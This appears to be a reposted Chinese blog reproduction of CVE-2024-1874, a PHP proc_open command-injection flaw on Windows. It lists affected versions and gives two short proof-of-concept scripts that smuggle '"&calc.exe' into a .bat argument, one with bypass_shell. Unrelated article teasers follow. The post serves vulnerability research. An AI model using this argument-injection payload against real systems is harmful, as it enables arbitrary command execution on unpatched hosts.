PHP命令执行漏洞CVE-2024-1874复现

news/2024/10/15 22:13:06/

CVE-2024-1874 PHP命令执行漏洞

影响版本

Affected versions
< 8.1.28
< 8.2.18
< 8.3.5
Patched versions
8.1.28
8.2.18
8.3.6

POC

创建一个文件test.php

php">
<?php
$descriptorspec = [STDIN, STDOUT, STDOUT];
$proc = proc_open(["test.bat", "\"&calc.exe"], $descriptorspec, $pipes);
proc_close($proc);

随便创建一个.bat文件,如test.bat

echo test

然后在PHP 8.2.9nts版本下使用php test.php来执行test.php,成功RCE调起计算器。
在这里插入图片描述
即使在proc_open()函数中使用bypass shell选项,依旧RCE成功。

php"><?php
$descriptorspec = [STDIN, STDOUT, STDOUT];
$proc = proc_open(["test.bat", "\"&calc.exe"], $descriptorspec, $pipes, null, null, array("bypass_shell" => true));
proc_close($proc);

在这里插入图片描述

参考链接

https://mp.weixin.qq.com/s/jAeRY-XOKw8fmUDXT2ESNQ


http://www.ppmy.cn/news/1432185.html

相关文章

R语言入门:R中导入数据有哪些格式?

1、文本文件 CSV文件&#xff08;逗号分隔值&#xff09;&#xff1a;使用 read.csv() 或 read.csv2() 函数。文本文件&#xff08;以空格、制表符等分隔&#xff09;&#xff1a;使用 read.table() 函数。文本文件&#xff08;固定宽度格式&#xff09;&#xff1a;使用 read…

开发语言漫谈-go

网上吹嘘go语言的很多&#xff0c;确实鹅厂&#xff0c;字节、B站、知乎都在用go。但是实质上你发现他们的领域是一样的。你听说过谁家的财务系统用go&#xff1f;谁家erp用go&#xff1f; go的设计思路和python差不多&#xff0c;就是要降低入门难度&#xff0c;提高开发效率。…

49-PCIE转网口电路设计

视频链接 PCIE转网口电路设计01_哔哩哔哩_bilibili PCIe转网口电路设计 1、PCIE转网口电路设计基本介绍 pcie转网口的设计&#xff0c;一般有intel (i350)和网讯&#xff08;wx1860&#xff09;两种方案。 2、PCIE转网口的方案 2.1、I350 2.2、WX1860 (网迅) 国产化&#…

Linux KASAN使用与实现原理

一、KASAN工具使用 KASAN工具&#xff1a;Kernel Address SANitizer(KASAN)是一种动态内存安全错误检测工具&#xff0c;主要功能是检查内存越界访问和使用已释放内存的问题。 1.1 KASAN宏控开关 KASAN有三种模式&#xff1a;1.通用KASAN&#xff1b;2.基于软件标签的KASAN&…

【Ubuntu20.04+Noetic】UR5e+Gazebo+Moveit

环境准备 创建工作空间 mkdir -p ur5e_ws/src cd ur5e_ws/srcUR机械臂软件包 UR官方没更新最新的noetic的分支,因此安装melodic,并需要改动相关文件。 安装UR的模型配置包,包里面有UR模型文件,moveit配置等: cd ~/ur5e_ws/src git clone -b melodic-devel https://git…

大创项目推荐 深度学习YOLO图像视频足球和人体检测 - python opencv

文章目录 0 前言1 课题背景2 实现效果3 卷积神经网络4 Yolov5算法5 数据集6 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 深度学习YOLO图像视频足球和人体检测 该项目较为新颖&#xff0c;适合作为竞赛课题方向&#xff0c;学长非…

混合云构建-如何创建一个高可用的Site to Site VPN 连接 Azure 和GCP云

在现代云计算环境中,企业通常会采用多云战略,将工作负载分布在不同的云服务提供商上。这种方式可以提高可用性、降低供应商锁定风险,并利用每个云提供商的独特优势。然而,在这种情况下,需要确保不同云环境之间的互联互通,以实现无缝的数据传输和应用程序集成。 本文将详细介绍…

Go语言并发控制

channel // cancelFn 数据通道关闭通知退出 func cancelFn(dataChan chan int) {for {select {case val, ok : <-dataChan:// 关闭data通道时&#xff0c;通知退出// 一个可选是判断data指定值时退出if !ok {fmt.Printf("Channel closed &#xff01;&#xff01;&…